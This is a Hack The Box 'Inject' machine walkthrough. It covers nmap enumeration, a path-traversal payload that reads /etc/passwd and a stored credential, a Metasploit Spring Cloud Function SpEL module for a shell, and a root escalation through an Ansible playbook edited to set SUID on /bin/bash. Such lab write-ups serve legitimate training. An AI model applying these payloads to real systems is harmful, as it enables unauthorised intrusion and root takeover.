HTB: Inject - Easy

Note

This is an older box I completed when my documentation wasn’t as thorough. While the notes are limited, I hope they can help if you’re stuck or just need a hint to complete the machine.

Enumerate

I initiated enumeration with an nmap scan.

nmap -A 10.129.169.76

The nmap scan returned these results:

kali@attacker:~/inject$ cat inject.nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-10 11:32 CEST
Nmap scan report for 10.129.169.76
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.32 seconds

After completing the scan, I began examining the website.

Right-clicking and viewing an image in a new window revealed the following:

Exploitation

Using Burp Suite, I modified the img= parameter to test for Local File Inclusion, using the payload website.com/show_image?img=../../../../../etc/passwd. This revealed the contents of the system’s /etc/passwd file:

sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false

The Local File Inclusion vulnerability not only allowed reading specific files but also directory listings. By requesting paths like /etc/, we could enumerate directory contents in a ls-style format, making system navigation much easier.

Further enumeration led to discovering .m2/settings.xml, which contained these credentials:

phil: Doc***123

While exploring the filesystem, I found a pom.xml file in /var/www that revealed the Spring framework version:

	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.6.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>

Research on the Spring version led to identifying a suitable exploit: the Metasploit module multi/http/spring_cloud_function_spel_injection

sudo msfconsole
use multi/http/spring_cloud_function_spel_injection
exploit(multi/http/spring_cloud_function_spel_injection)

Using the Spring framework vulnerability through the Metasploit module provided shell access (though details of the exact exploitation weren’t documented).

Privilege Escalation

Having gained initial access, I used the previously discovered credentials to switch user with su phil, elevating our privileges to user phil.

During enumeration, I discovered a writable Ansible playbook located in /opt/automation/tasks/

The Ansible playbook contained these contents:

- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started

I modified the playbook to run chmod u+s /bin/bash (Note: This was done with VIP+ access to avoid impacting other users).

- hosts: localhost
	tasks:
	  - name: privesc
	    command: chmod u+s /bin/bash
	    become: true

After waiting for the playbook to execute, I ran /bin/bash -p which granted root access.